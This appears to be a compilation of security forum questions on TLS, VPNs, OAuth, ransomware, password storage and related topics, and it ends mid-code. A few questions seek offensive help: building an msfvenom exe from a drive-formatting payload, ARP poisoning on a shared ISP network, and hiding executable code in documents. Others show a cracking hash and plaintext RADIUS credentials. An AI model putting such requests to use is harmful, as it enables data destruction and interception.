5058b1fe8bf9fffc57d94148a7ec55119c5cd9b21aa267cb13518bec0244241b teams_1.3.00.30857_amd64.deb
wolf@linux:~$
How do we verify software like this to make sure nobody has ever tampered with it?
|
If a device sends a request to https://example.com and someone spoofs the DNS response to redirect the request to some malicious server. Would the attacker be able to modify the packets during the TLS handshake to make the original request domain name match and therefore establish the connection?
|
My friend's credit card details were randomly used to make a two small purchases on a food delivery app, by someone other than my friend. They have already contacted the bank and cancelled the card.
My friend contacted the app company to let them know, and the app company replied requesting that my friend provides the following information to help investigate:
Last 4 digits of card number
Card-issuing company
Card expiry date
Country/region the card is registered to
Is this normal / safe practice?
|
In reference to the Solarwinds attack, since many organisations have no access to the source codes of the software vendors from whom they just consume the services, how can organisations defend against supply chain attacks?
|
It's known that card readers, which use the Wiegand format, can be attacked by installing a sniffer, such as an ESPKey. After the sniffer is installed, whenever anyone uses the reader, their credentials get saved, and the attacker can clone them.
What is the defense against this? The article mentions that card readers have a tamper sensor. Is a correctly installed tamper sensor enough to thwart this attack? What exactly does the tamper sensor do, and what happens when it's set off?
Also, since ESPKey attacks specifically target the interceptable wiegand protocol, is there some other protocol which provides secure communications? Many articles cite Wiegand as being the most common protocol. What percentage of card readers are vulnerable to this attack, and what's the next most common non-vulnerable protocol?
|
Is there a way to monitor and manage (block, unblock, log) all internet activity (mainly outoing traffic) from my computer?
For example, in my android phone I've installed a VPN tool called "Tracker Control" (from the F-Droid repository) that shows me all outgoing traffic and it's destination (google, facebook, amazon and other big brothers) which I can then (in several cases, but not all) block or unblock it.
Putting in plain words, I need a tool that shows me that software X is trying to send data to Sever Y and ask me if I allow it or not...
I've heard of tools like Wireshark, but I do not know if it can block the packets, or if is just too low level for this purpose.
Is VPN an solution? Or maybe a home made proxy server (using Apache or other software)? Or some kind of Firewall?
I don't know much about the "network fauna" besides TCP and UDP. Is there other types of internet traffic that I should be aware of?
My OS: Win7, Win10 and Linux (Xubuntu)
PS: I'm kind of a advanced user, but not a network literate.
|
Some months ago I bought a peripheral device for my Windows 10 computer (think of something like a game controller). My home router has a function that allows it to capture all incoming and outgoing traffic of my home network.
By chance I was capturing traffic right when my Windows 10 PC was starting up. When I later analyzed my router's traffic log in Wireshark I noticed a TLS encrypted packet was sent from the Windows 10 PC to an API of the peripheral device's manufacturer. I figured this out through the packet's Server Name Indication field (SNI). The protocol is TLS 1.2 according to Wireshark.
I am quite sure that this connection was established by a Windows service that was created during the driver installation of the peripheral device. Now I want to know what information the service is sending to/ receiving from the API.
My first try was to use an SSLKEYLOGFILE. The SSLKEYLOGFILE worked for browsers like Firefox or Chrome, but not for said Windows service.
Would it be possible to perform a man-in-the-middle attack (MITM) against myself? Or would it be easier to capture the traffic directly on the Windows 10 machine before it gets encrypted?
What would be a viable solution to intercept and decrypt this TLS traffic originating from a Windows service?
|
What are the security risks that someone using HTTPS (everywhere) + DoH is vulnerable to, comparing to someone using a "trusted" VPN?
|
I know we must keep private keys secure, but as long as we don't share the private key, what can go wrong?
How hackers/others can steal/get your private key?
What is the possible way that can happen for :
Non-educated people (Beginner)
People that have basic knowledge like not clicking spam, untrusted link, ads, always use sudo with caution
Thank you
|
It comes to my mind a security problem that I would have accessing some data. My current problem is the following:
There is a server in AWS London where you can access some data,
by law, that data should be accessible only by Europe.
I want to access that data being in Brazil physically but operationally
talking in Europe.
I want to avoid at all cost data that could be stolen or seen by a third party.
My question is this:
Is it secure that I could for example create an AWS server in Frankfurt let's say, connect it from Brazil via ssh and from there connect to London's server. Legally will be Europe, technically is possible, my question is, how secure could this be? or for example create a GCP instance and access it to the web console/shell to ssh my server and from it connect to the one in Frankfurt?
I'm very unsure what could be like a "really" secure option given these circumstances. Is there a really secure way to do it? even if I connect to a computer in Frankfurt via a remote desktop or ssh tunnel and later connect to the server I will have the same problem?
Ideas?
|
The IGAL ransomware is a malicious program that encrypts the personal documents found on the victim’s computer with the “.igal” extension, then displays a message which offers to decrypt the data if payment is made. As predecessors, I am looking for information on how to remove this malicious program. Is there any program to remove this program or is it actually impossible to recover files without a unique key?
|
I was checking my gmail account spam folder and I noticed an email sent by a known sender.
I thought it was flagged as spam by mistake so I opened it. Then I realized the content is the same as another email I sent the same person about a month ago. Even the subject is the same.
The sender's name is correct, but I checked the headers and the actual address is not the sender's. I checked it on various blacklist search engines but apparently it came clean, WHOIS has redacted data for privacy reasons but it seems to be just a case of spoofing.
The message also has an encrypted .zip file attached that was not present in the original mail. In the message there's a password to open the .zip file but there's no way I'm going to open the thing on my PC.
The mail content is pretty spooky, though. I mean, it's an email I sent and supposedly only the receiver and me knew about it. I want to make sure there's nothing wrong with my account/devices. I'm wondering if the mail was "stolen" through malware on one of my devices, or on the other person's. We both used gmail accounts.
I safely store my passwords using an appropriate encryption software (KeePass) and have 2FA enabled, I'm pretty cautious when browsing and checking my mail (stuff like checking link urls before opening them). The other person, on the other hand, stores his passwords on a plain text file (I literally saw him open it), so I suppose his security could be pretty lacking.
What should I do in this situation? How could I inspect the content of the .zip file without exposing my machine and/or my personal data? I was thinking of installing some linux distro on a virtual machine to check it out. Should I download the file on my PC and transfer it on the machine? Or should I open gmail from inside the machine itself and download the attachment? I'm worrying that the former method could expose my PC, while the latter could allow the collection of personal data.
|
For security reasons, I have this question in mind. I am not a security professional, so I want to ask:
Let's suppose my computer's firmware is hacked. If I disable the wifi driver on windows, can a kind of virus (hidden driver software does not appear in device manager), or the firmware (if infected) use the wireless device to connect to the internet without overriding the old driver? And can it hide itself from the device manager?
|
Just as the title suggests. I have a PasswordStealer on my PC and I'm afraid that it can do that. AFAIK, that malware can record keystrokes and steal saved passwords which I don't mind because I don't store passwords anywhere and I don't type either. But I left all my social media and mail account logged in by cookies.
To make sure, I have tried copying Chrome's Cookies. File to another device and it didn't work. But I just realized that you can view and edit cookies on your active sessions to get datr, xs, and other important cookies. Now, can the malware also do that or it will just be encrypted?
|
Is there a reason why OTPs (one-time passwords) are only made up of numbers? I've seen OTPs of varying lengths but all of them are only made up of numbers. Why are they not alphanumeric?
|
Newbie question, I guess. I want to get a cold wallet for increased security. I also want to start using hardware 2FA (e.g. for e-mail). I see that Ledger advertises 2FA capabilities ('FIDO U2F') on their Nano range. Is there a downside to e.g. buying a Nano X and using it for these two totally different functionalities? If so, what is a better option?
|
Due to increasing concerns about privacy online I recently started researching technologies that are supposed to hide our activities from unwanted watchers.
I've been learning about workings of VPN servers and there's one concept I cannot quite get my head around.
As I understand the way VPN works (correct me if I'm wrong tho) is that the VPN client encrypts any data sent from the user to the world, thus preventing anyone from learning about that user's activity. The packet is sent through a public network to the VPN server, where it is decrypted and then sent to its destination.
What bothers me is the route from the VPN server to the destination. Since it is decrypted and travels through a public network it's not protected. Moreover, it seems perfectly reasonable to assume that any data leaving VPN servers are by default sensitive so it occurs to me that for an attacker seeking such data, listening at the getaway from the VPN server is like hitting a jackpot.
Is there something I'm missing here?
|
I am learning TLS handshake and find client/serve will negotiate a cihpersuite during client/server hello.
Usually, the last part of a ciphersuite is a hash algorithm, like SHA256 in ECDHE-ECDSA-AES128-SHA256. The second part of a ciphersuite is public key algorithm of server certificate like ECDSA. As we know, public key is usually capable of signing a message.
I also noticed in the client Hello, there is an extension called signature_algorithms to set the preferred hash/signature algorithm pairs. The chosen hash/signature is usually used to sign the Server Key Exchange.
My question is: since the ciphersuite already indicates both hash and signature algorithms, why we still needs the signature_algorithms extension?
|
How does one defend, detect and deter golden SAML attacks?
|
As a full-stack cloud-native (AWS, Azure, and GCP) polyglot (Rust, Golang, Python, and Java) microservices developer, the nagging question that I have is if the use of multiple technology frameworks vs single language (e.g., Java) have increased and improved the overall security posture?
Overall, is it more secure to use a single language/technology/framework or to use multiple language/technology/framework?
|
What is a reasonable timeframe that should be defined and enforced for access token expiry to reduce
the risk of unauthorized access?
|
Let's say that Joe gives his PGP public key to Sue so that Sue can send Joe a secret message.
Sue opens her PGP/GPG program, types I'm in love with Joe! and encrypts the message with Joe's public key.
The result is a blob that only Joe can read, because only he has the private key to his public key.
When Joe receives the blob and decrypts it using his private key, the message reads: I hate you, Joe!!.
How is this possible? Well, Sue's computer has been compromised by a jealous third party, Ken. Ken secretly installed a mechanism which changes the messages just before the PGP/GPG program uses the public key to encrypt the message, so that the wrong message is encrypted instead of the intended one.
Is there any way that Sue could have verified that the blob she sent to Joe actually contained the message she thought she inputted, when she doesn't have the private key? I of course don't mean to decrypt the message, but some kind of "true/false" answer whether the blob corresponds to exactly a given text. Is that possible?
(She does the verification on a separate, non-compromised computer.)
|
We have microservice-based architecture.
Currently, we have APIs which we have exposed over the internet for all users.
Now we want to provide APIs to a specific client and only this specific client should be able to access this API.
What security practices we should follow? I mean what is the best way to secure such APIs. Provide a token to client and hard check for API with token on each request oy anything else?
|
As of this month, the Flash player has been disabled from all mainstream browsers. However, several platforms are still offering ways to use Flash content, most notably the games hosted on said platforms.
How (in-) secure is this method of using Flash? And especially how does this differ from last month?
Considerations:
The method of access may matter, let us assume one uses the latest version of their recommended player, not an old version of a regular browser.
There must be multiple threat vectors, if the platform or content supplier has bad intent it is presumably completely insecure, but perhaps this was already the case before this month as well.
It might or might not help if one had a way to not access any new content, but only content that was already created and accessed before this month.
I believe all major flash platforms did this: NewGrounds, Kongregate, Armorgames
I know Kongregate.com is pushing the SuperNova Flash player so let's focus on that if the platform matters for the answer.
|
Out of curiosity. I am a green as grass programmer coming from other career disciplines and am learning multiple languages right now so play nice and keep it simple please. Interested in simple security protocols for scrambling data before the network. I am curious to know if this very simple, basic method of scrambling financial numbers is easily crackable by machine or by human evaluation. Assuming the level of human is the general level of genius I've seen on this forum.
In sudo-code:
Balance sheet financials:
18485.45
347.56
34564.44 <------ Take one number as example
345543.33
120045.76
1205847.87
876.00
1st layer-
34564.44 to multiply each number by day+month+year
Example last edited date timestamp: Today (21/01/2021) = 2043
3 x 2043 = 6129
4 x 2043 = 8172
5 x 2043 = 10215
6 x 2043 = 12258
4 x 2043 = 8172
.
4 x 2043 = 8172
4 x 2043 = 8172
Becomes: 6129817210215122588172.81728172
2nd layer-
6129817210215122588172.81728172 to encrypt using alphabetical numeric position
A-1 B-2 C-3 D-4 E-5 F-6 G-7 H-8 etc...
6129817210215122588172.81728172
Becomes: FABIHAGBA0BAEABBEHHAGB.HAGBHAGB
FABIHAGBA0BAEABBEHHAGB.HAGBHAGB is then used for JSON transfer with HTTPS.
This is an extremely elementary example with only a few simple steps. Just curious how easy this would be to break, the principle being that the data is scrambled as much as possible BEFORE networking and with only the host knowing the "key" for decryption. Example above would be the date timestamp.
|
I'm curious, as a green programmer, if one used layers of encryption methods, would this be more difficult to crack or impossible?
Example:
Layer 1- encryption method 1 "Encrypt this string"
Apply crypto = "encrypted mumbo jumbo"
Layer 2- encryption method 2 "encrypted mumbo jumbo"
Apply crypto layer 2 = "encrypted mumbo jumbo becomes encrypted mumbo jumbo"
And so on...
Does this heighten security and if so does would this take a long time to decrypt?
|
In a talk about a lost or stolen laptop, it is said that:
even with hard drive encryption, eventually they can crack these secrets
But strong encryption is practically impossible to break. For example, it would take 6 billion years at 100,000 attempts per second to brute force the password of a MacBook using XTS-AES 128 encryption, presuming the user has set a 12-character random password.
So an encrypted hard disk could be cracked only if:
the user has a weak enough password to brute force, or
the encryption uses a weak algorithm
the attacker is willing to wait billions of years
Presuming the last is infeasible, is it possible to crack an encrypted hard disk assuming the encryption algorithm is strong and the user has set a 60-character random password?
|
A simple question which I cannot find any guidance on the RFC6749 (or related) spec.
I have an eCommerce public client (SPA & mobile), where I want to postpone as much as possible the authentication process (possibly registration too for new customers). I will only ask the customer at the end of his purchase journey to authenticate and place the order.
Meanwhile, before the authentication, this public client needs to call back-end REST APIs which are OAuth2 protected.
So how can I perform correct and secure calls to the APIs?
system to system calls -> Client credentials grant type -> NO, because of the public client (only confidential clients are allowed in this type)
public client BCP-> Authorization code grant type with PKCE? -> NO, because no end-user authentication/consent
Does somebody have a similar case? Can you see a pattern to make this secure enough within the OAuth2 framework?
|
For example how do I turn the payload/windows/format_all_drives into an exe without any other fancy addons?
(I am talking about using msfvenom FYI)
|
As per Exclude or display vulnerabilities for non-running Linux kernels :
It is possible to have multiple kernels detected on a single Linux
host and Qualys will report all vulnerabilities found on all Linux
kernels.
Linux distributions support the parallel installation of multiple kernel versions. When installing a new kernel, a boot entry and an initrd are automatically created, so no further manual configuration is needed. Do I really need then to be concerned about vulnerabilities discovered for older installed kernels (which are in fact not used to boot the system)? Is there any risk involved? I mean, sure one could probably argue that once someone gets access to the server he/she could boot into an older (more vulnerable if you will) installed kernel version but that would require root privileges in the first place.
|
My employer has a system that clinicians use to capture video data for patient bookings. This comprises two applications running on Windows:
A GUI application (Electron/Javascript)
A local service (C#).
Both applications need to access our API over the internet.
Users must log into our API with their own account and password but they do so from the GUI application that runs on a computer with shared login credentials (shared between all clinicians at a site).
The two apps currently communicate over RPC (I plan to switch this to a local REST service in future).
What is a secure way to authenticate with our API from the C# service, given I only want the user to log in once, using the GUI application?
Can those authentication credentials be securely stored for use later by the C# service on a shared-access computer?
Background:
The GUI application is used to login (authenticating with our internet API) and get the list of available patient bookings for the user (over same secure API). The user then selects one of the bookings and captures some video data for it. Once video capture has completed, the GUI app hands the data over to the C# service.
The C# service's job is to run continuously in the background and perform time-consuming processing work on captured video data. Once that processing has been completed, some results data needs to be uploaded to our internet API.
We don't want the user to have to wait until this post-processing has completed (it may take 10 minutes or so) so we want them to be free to close down the GUI application and still have uploads occur in the background while the computer is running.
I would like to be able to restart the computer and have the C# service (which runs at startup) pick up where it left off with processing and uploading data. For this, I'd need to securely store the credentials of the user who performed the capture so they can be read back.
I've considered passing the credentials in plaintext over RPC when a user logs in successfully so both app are aware of them. This answer indicates there is no need for interprocess encryption on the same machine, but I'm not sure if that is reasonable given the user account used to access the computer is shared. I'm also not sure if it's possible to securely encrypt the credentials for use later without re-authenticating to unlock them in some way. (Our API password is not tied in any way to the password used to log into Windows and we don't want to integrate those as we may move away from Windows in the future).
Any help appreciated, thanks
|
VPNs can often be useful for obscuring personably identifying information (IP, geolocation, etc.) from remote destination servers.
Traffic is routed through a VPN server and forwarded to the destination. As far as the remote destination servers are concerned, the traffic appears to have originated from the VPN server's IP address.
In this sense, the VPN tunnel/server essentially behaves as a proxy, intermediary, or go-between (not unlike a broker); probably not one of the original design goals for this technology, regardless it can often be desirable to exploit (i.e. take advantage of) it's inherent properties to facilitate such a purpose.
However, the IP address from whence the traffic truly originates, will obviously be visible to the VPN server. What solutions exist for hiding (e.g. disguising, obscuring) this information from an untrusted VPN server?
A few ideas immediately come to mind, but suitability, effectiveness, and implementation details are unclear:
Encapsulate the untrusted VPN tunnel within a (secondary) trusted VPN tunnel (or vice versa?) (but how?).
VPN router firmware (Tomato, DD-WRT, OpenWRT, etc.) with paid subscription service (e.g. ExpressVPN, Nord, PIA) in conjunction with untrusted VPN client on end-user device.
Two VPN connections, untrusted VPN in virtual machine, trusted VPN on physical host.
Full-tunnel / split-tunnel manipulation.
IPv4 forwarding / iptables type magic.
SOCKS Proxy and / or TOR chaining (proxychains or similar) (before and / or after vpn connection? encapsulated? serial? both? unsure).
Encapsulating with ssh tunnel or vice versa.
Something involving torify, torsocks, tsocks, shadowsocks, etc. (more reading required).
Something involving self-hosted proxy or VPN solution (privoxy, squid, nginx, openvpn).
Something involving a VPS SaaS.
|
I'm currently building a web application that utilises Open Banking through Plaid. This means that it pulls a users banking details through a generated 'access token'.
I've been toying with the concept of how to persist this user data. My reasoning for this is that the Plaid API gets pulled on every web page that requires it, and so it causes a several second 'loading' to process - which if you're navigating round my app is frustrating.
This is a poor user experience in my opinion, and so I'd prefer to somehow persist this data without having to make a server call.
To do this, I've initially gone for session storage. I know many people say this is vulnerable to things such as XSS etc, but it's convenient and works well.
I'm a little uneasy with storing the results of a server call locally though, for obvious reasons.
Currently, the data which is pulled and therefore stored locally is:
Firebase user ID
Account id
Balance
Type of account
Last four digits of account number
Account provider
Consent expiration time
Transactions
Database ID
And a bunch of other status codes.
The actual data itself isn't personally identifiable, or usable for anything malicious to my knowledge. No passwords are stored locally, the access token is only ever exchanged via my server, and it is encrypted so not publicly visible as plain text should my database ever get hacked.
So I guess my question is, how secure is this? Is it actually a security problem considering the data can't be explicitly used for malicious purposes? The only time it would be a problem (in my opinion) would be if my server / database was accessed with the encryption key.
Other alternatives are..
Encrypt the data that is stored in session storage, but is this pointless?
Not use session storage at all
Or can anybody suggest any other alternatives?
I know people on here will be much more experienced than me with this - so open to any suggestions. Please let me know, it'd be appreciated.
|
I've been reading many research articles about RoT - Root of Trust - for establishing a chained root of trust going up from BIOS to the Kernel.
However, most of the article go briefly on how RoT works for different brands.
A good article on RoT is RoT: The Foundation of Security by Lawrence Liu.
However, one of the biggest questions I have is the mechanism on how trust is established with the boot, os, and application i.e. how does the RoT ensure their authenticity.
For example, say I compromised the boot loader, how does the RoT mechanism detect it? Does it check the hash of the Boot loader's code, but what if there was a company update?
Please refer me to related articles.
|
I know there are lots of posts on the same origin policy, but I specifically want to understand why it can't be done in this simpler way.
If evil.com makes sends a request to bank.com, browsers will not add cookies (so unauthenticated). Now you could have cross origin requests with no security issues?
|
I have this scenario:
I want to create a WiFi network for a hotel that the customers should pay to gain access to the internet.
I tried Captive portal, but captive portal is very vulnerable against MAC spoofing.
So I tried wpa2-enterprise without Captive Portal. But NAS(Access Point) in wpa2-enterprise doesn't enforce any rule and each user had unlimited access.
Then finally I tried both together but after first authentication in wpa2-enterprise each user was able to change his/her MAC address to a any other user.
I'm using PFsense as RADIUS server and Mikrotik RB433 for Hotspot(Captive Portal) and wireless AP.
Is there any way to prevent users from impersonating to an authenticated user in WiFi network with Captive Portal?
Is there a reason that NAS in wpa2-enterprise doesn't enforce any policy or something is wrong in my configuration?
These are the policies that PFsense generated in users file:
"amir" Cleartext-Password := "amir", Simultaneous-Use := "1"
Framed-IP-Address = 10.1.3.85,
Framed-IP-Netmask = 255.255.255.0,
WISPr-Bandwidth-Max-Up := 50000,
WISPr-Bandwidth-Max-Down := 50000,
WISPr-Redirection-URL := http://www.google.com,
pfSense-Max-Total-Octets := 10485760,
Exec-Program-Wait = "/bin/sh /usr/local/etc/raddb/scripts/datacounter_auth.sh amir daily"
And this is clients.conf file:
client "mik" {
ipaddr = 10.1.2.2
proto = udp
secret = 'admin123'
require_message_authenticator = no
nas_type = other
### login = !root ###
### password = someadminpass ###
limit {
max_connections = 16
lifetime = 0
idle_timeout = 30
}
}
|
I apologize if this isn't the best exchange to be asking in, but I'm a little new at this.
Problem: A close relation outside my local area with declining cognitive function is demonstrating increasingly poor infosec practices. I have a plan to try preserver their online freedom while keeping them reasonably safe, but have no idea if it's any good.
Details: Relation has issue with poor impulse control, and frankly a long unaddressed history of terrible infosec. They have multiple email accounts, some dating back decades, and little to no hesitation about opening extremely questionable attachments. I am aware of at least one successful remote access phishing attack. They are prone to visiting sites that pose security threats.
Devices: The user works mostly on a windows machine,and has an iOS phone. The residence also has an OSx (x86) machine, other iOS devices, and a small number of networked devices. (printer/smart tv/etc.)
My Skill Level: Technically competent w/ limited coding skills, but decent hardware skills. Little to no experience with network management or Linux. I do have an embarrassing abundance of free time at the moment.
Current Plan:
Toss the users current system after an expert retrieves critical files from it
Hardware authenticator & password manager
Purchase a subscription-based anti-virus program
Implement DNS filtering via PiHole to block malicous IPs
Setup remote access behind a VPN. (Preferable with a simple hardware switch to start & stop the service that also shoots an sms to me)
Harden the Pi with something like Tripwire IDS & Rkhunter
Wipe/factory reset all networked devices to the best of my ability
Find/implement a method to segregate the users computer from other networked devices
Attempt* to migrate the user to a new set of email address, or at least retire the most dangerous ones
Attempt* to revoke the user's administrative access
Attempt* to migrate the user's from windows to OSx or even Chrome OS**
*I say attempt, not due to a lack of technical knowledge, but with regards to user buy-in.
**The user has previously resisted a proposed migration to a chromebook, on the basis they will lose access to excel.
I would greatly appreciate any and all feedback this community could offer. As a novice, I'm well aware I may be missing low hanging fruit or pursuing wildly impractical solutions.
|
I am currently reading the network exploitation section of the book Hacking: The art of exploitation. The book covers ARP spoofing attack in brief, but doesn't go over much detail.
Before starting I would like to tell what kind of system/peripherals I would be using.
I use a System that accesses internet via Ethernet Cable. i.e. I don't have a router, due to which I directly connect the ethernet cable to my pc (PPPOE)
That cable goes to the electric pole, where it is connected to a switch. That switch also acts as an endpoint for other users like me as well
A lot of these switches are interconnected with one another
I do have a fundamental understanding of the attack (rectify if wrong), which in brief goes as follows:-
Run ARP protocol to get MAC addresses of all the live hosts in the local network
Poison the ARP cache of hosts by sending them ARP responses (on regular interval) stating that the IP address of another system is at our mac address
This will make them send packets which would have our MAC address in the Data-Link layer, and would reach us
I have many doubts (some regarding the above process, others are conceptual)!!
In order to execute the attack we needs to have IP address of other local hosts. Which I just can't seem to have.
I ran a Windows machine and tried using Advanced IP scanner, but ended up getting IP addresses associated to my pc (VM, Ethernet, Default Gateway).
Tried arp -a command, ended up getting a huge list of IP addresses of which 99% were static, few were dynamic. Some of them had MAC address entries, on others which was blank.
So, How am I supposed to get the IP addresses of other hosts?
The book mentions default gateways as a target. So what exactly is a default gateways (for my setup), And how does it work?
Since we can poison the ARP cache to add entries to it, Is it (asking from a security perspective) possible to create entries to addresses that aren't local!! For Example. Let's say we have the IP address of 192.168.1.12 having mac 00:00:00:01, and a Facebook server has IP address 10.0.0.23. Is it possible to send a ARP response i.e. it will poison the ARP cache of a local user to make it seem like the address 10.0.0.23 is at mac address 00:00:00:01. Then would the packet sent over to the Facebook IP be delivered over to us? Or would it be filtered by the router?
What is the address of the first node (to me) where my data is sent over to? Like for most users it would be their router (at a basic level), but since I don't use one, what would be the first node through which my data goes?
P.S.:- Initially I posted this question on network engineering, but it got closed over there as they thought I am trying to hack a network. Firstly, I am using the above test in a controlled environment. Secondly, the questions are related to a lot more to securing stuff then to exploiting them. All I am trying to do is get a understanding about the underlying protocols.
|
Like the question says, I am wondering if there are some viruses that do not write machine code themselves, but instead output assembly code and invoke an external assembler? That sounds like a plausible attack on Linux systems, where as (GNU Assembler) is usually present in the PATH.
I know that assemblers and linkers often get misdetected as viruses because they, like viruses, write executable files. However, I am stunned that Microsoft Windows Defender once misdetected the compiler for my programming language as malware. But the compiler for my programming language outputs assembly code, and not machine code. So how could it possibly be mistaken for malware?
|
One problem with passwords is that if they can be broken as follows:
pick a random password
hash it
compare that hash to other known hashes
This way, you have broken the password. Then if you can access the hash of a password, you can reverse-engineer it to find out the password.
However, isn't this easily fixed by tying the password to the user name?
Say my username is my e-mail: plutoplanet@hotmail.com and my password is password123.
All the company needs to do under the hood is make my actual password include my username in a randomized way, that is, my actual password is papLusswtOordpLanEt123@hotmail.com. Basically, what I did there was just take password123 and throw in letters from my username at random places.
Now this is the password that I hash and store in my database. Now if anybody ever finds out what password led to this hash, they will know it is papLusswtOordpLanEt123@hotmail.com, but that is NOT my password, and they don't know how to extract my password from it, since the mixing of passwords and username was random.
|
Many IOT devices and routers manufacturers hardcode plaintext default passwords in their devices.
Why don't they store the hashed password instead?
For what functionality do they need the plaintext password?
|
I was practicing bruteforce attacks using John The Ripper. I want to crack a zip file. I obtained the hash and stored it in a zip file but when I attempt to crack the zip file it is giving me an error saying No password hashes loaded
This is the hash inside my passwordFile
Traffic.zip:$pkzip2$2*2*1*0*8*24*9fd8*23cd*ef2dcc3d08252e794fb90a80cf425f5ed83f04235bb66e8b75a8050817505569c3b30ae3*2*0*f5*1804*456ba01d*42*4b*8*f5*456b*23dc*ec2337b7340f21407a143d82f96fa0369aa6691a48126cbe945aab87e6e233f892999da88975e6a1c50c5fc1c6f58ac9075a5ebe45bb92e5fdf160845a6bfa9bfd0cabd515e83dae1a550dc71992459813bf8c96d31db4a4f5cf989d89ce04d75b71ed81d95315135fa6d0b73cef3b48ff0fefb67545f3fa319f9e2f7b5d325d4151c290c89f01a2a9d5398b23851e493971027d70dfdeeb94e307adccb7ebfbc05d0cc304f121ade8c349f6dd42977cdd8992729a4ad6395f18d9de4be424624510366c7d859302277f2a180159f920ce8310261883d85a2964ff77a72e50c12ff64c3ead48177ff470dc14bb176d77ecaeaeadbe*$/pkzip2$::Traffic.zip:Traffic/.DS_Store, Traffic/traffic.doc:Traffic.zip
|
I'm receiving long hexadecimal requests on my webserver, such as: /f588069cda088c9a0fc25509fc4ed8418fe47a447683243395e649753d2d4b87cce9c4b3cc16cb5f44068e6da475dbffa9689b9ad237b5c941bb9ad2aa6759f7e4e39ba3012202cdce328f7eccc7efa48642eec1870e15c39924bc3c790ba04c
I've tried to decode them using hexadecimal convertor tools, but can't seem to get any output that's meaningful. What are these 192-character length requests?
|
I have PDF, Word and MP4 files on my site and I want to protect them from illegal downloading even if my site hacked. I want to put executable code in the files, so if someone downloads and opens them, the code is run to check if the file location is not the server or a specific location that I define. If not, the file is destroyed.
How can I put executable code in PDF, Word and MP4 files?
|
I want to know the status of remote, code executing vulnerabilities of old Windows operating systems that are left unfixed, if they exist at all.
Exploits like EternalBlue or BlueKeep wreaked havoc on many systems, but Microsoft did issue a patch even for Windows versions that are past EOL.
Seeing that I wonder what the status of older operating systems is. Like Windows 3.1 or Windows 95, are they wormable even with all updates applied?
Edit: I was actually looking for public, documented vulnerabilities.
|
I am building a system where the clients should be able to communicate with each other.
However I want all the data to be hidden from the server where the information is stored in a database.
How can the users invite more users and share the encryption key without that the server also get the key?
First user creates a key (locally on the device) to encrypt the messages (symmetric encryption).
First user invites another user. How can the key be distributed from the first user to the second user without that the server also get this information? Same question goes for user three etc.
The idea is that the second user, after accepting invite, can read all the data that the first user have created and that now user two and three can create new data that user one can read.
I don't want the users having to enter passwords or such things.
The clients cannot communicate directly with each other, it has to go through the server.
I suppose that when the key has been distributed it's quite easy to just store that on the clients and then the key can be used to both decrypt and encrypt the messages. If a client loses the key I suppose that that user needs a new invite to be able to read the data again.
For this system it is not required that the key needs to be changed if someone leaves the group.
|
I generated an RSA Private Key using openssl genrsa -out mykey.pem 2048
To extract the public key I have found 2 commands, one using openssl :
openssl rsa -in mykey.pem -pubout > mykey.pub
And the other using ssh-keygen:
ssh-keygen -y -f mykey.pem > mykey.pub
However I noticed that boths outputs doesn't look anything alike. I know that a private key can only have one unique public key so why the outputs are different?
|
I have an Android 11 device and many of my apps and system apps use MD5withRSA or SHA1withRSA as signature algorithm by default.
Why should I take my apps SHA256withRSA or SHA512withRSA? Are there any advantages, if so what are they? Are there also performance and stability issues?
|
After reading about Emails a browser extension developer gets from scammers (and the comments here) I understand that there are people who try to convince good addon developers to introduce shady (or outright malicious) code into their extensions.
This means that the users of addons have to be extremely careful to make sure they trust what they're installing. However, people still install addons all the time without thinking.
What checks can a layperson carry out to improve the odds that the addon is not exploiting them? For example, are there any lists or databases that review Chrome extensions' source code, so a layperson can look up the addon's reviews (e.g. similar to review sites like rotten tomatoes or goodreads)? And are there any other simple and effective ways to be able to trust a Chrome extension?
|
We've received several rua reports indicating that one of our direct competitors is sending emails with our domain in the mail from headers.
I do not have access to the actual emails sources, and I have no idea what would cause this. The one cause I can think of is that somebody at the competitors company is sending out emails on our behalf (a conclusion I hope we can discredit).
Relevant rua report section:
<?xml version="1.0" encoding="UTF-8" ?>
<feedback>
(...)
<record>
<row>
<source_ip>209.85.220.69</source_ip><!-- mail-sor-f69.google.com -->
<count>2</count>
<policy_evaluated>
<disposition>none</disposition>
<dkim>fail</dkim>
<spf>fail</spf>
<reason>
<type>local_policy</type>
<comment>arc=pass</comment>
</reason>
</policy_evaluated>
</row>
<identifiers>
<header_from>[our domain].com</header_from>
</identifiers>
<auth_results>
<dkim>
<domain>[competitor domain]-com.20150923.gappssmtp.com</domain>
<result>pass</result>
<selector>20150923</selector>
</dkim>
<spf>
<domain>[competitor domain].com</domain>
<result>pass</result>
</spf>
</auth_results>
</record>
</feedback>
So, my question is:
What can cause this to happen? Is there normal behaviour that could cause these reports? Is this the result of legitimate email traffic? or is this an indication of malicious behaviour somewhere?
Side note
I'm unsure what the section means.
(...)
<reason>
<type>local_policy</type>
<comment>arc=pass</comment>
</reason>
(...)
Reading up on DMARC `arc` leads me to suspect it may be caused by email forwarding but `arc` should make sure the DKIM headers would still be available for authentication? In which case the forwarded email should not `fail` the DMARC policy?
|
I am using Chrome 87 with Jitsi Meet 2.0, but I have noticed this behavior too with other setups. When I first enter a room, Chrome asks for the following permissions:
Even if I click "Block" to deny these permissions, Jitsi still appears to have access to my entire screen when I click the "Share your screen" button, including other applications and even different virtual desktops. I looked through Chrome's settings, but I couldn't find anything related to screen sharing in the "Privacy and Security" section.
This raises the following questions:
How did Jitsi get access to my entire screen?
Why didn't Chrome ask me for permission to do so?
Can other websites do this too, perhaps even without me knowing?
|
The following CSP directive violation is reported:
[csp-report]
(
[document-uri] => https://mysite.com/my-page/
[referrer] => https://www.google.com/
[violated-directive] => img-src
[effective-directive] => img-src
[original-policy] => img-src 'self' https://various.uris <but NOT https://www.tailwindapp.com>
[disposition] => enforce
[blocked-uri] => https://www.tailwindapp.com/app/extensions/Tailwind_swoosh.png
[line-number] => 4
[column-number] => 31488
[source-file] => https://mysite.com/wp-includes/js/jquery/jquery.js
[status-code] => 0
[script-sample] =>
)
If I understand correctly, this means that a visitor to my-page was referred from Google search and in the course of viewing that page the file https://www.tailwindapp.com/app/extensions/Tailwind_swoosh.png was blocked. But I cannot understand how there was any attempt to display that file. It is certainly not directly referenced anywhere in my-page. The script https://mysite.com/wp-includes/js/jquery/jquery.js is not corrupted and makes no reference to that file. Nor does it appear in any other file or database for my site.
So, how can I figure out why there was any attempt to display that file in the first place?
|
According to multiple sources such as snyk and infoq, preventing a "Zip Slip" vulnerability in Java can be achieved by denying writes outside the target directory:
String canonicalDestDirPath = destDir.getCanonicalPath();
File destfile = new File(destDir, e.getName());
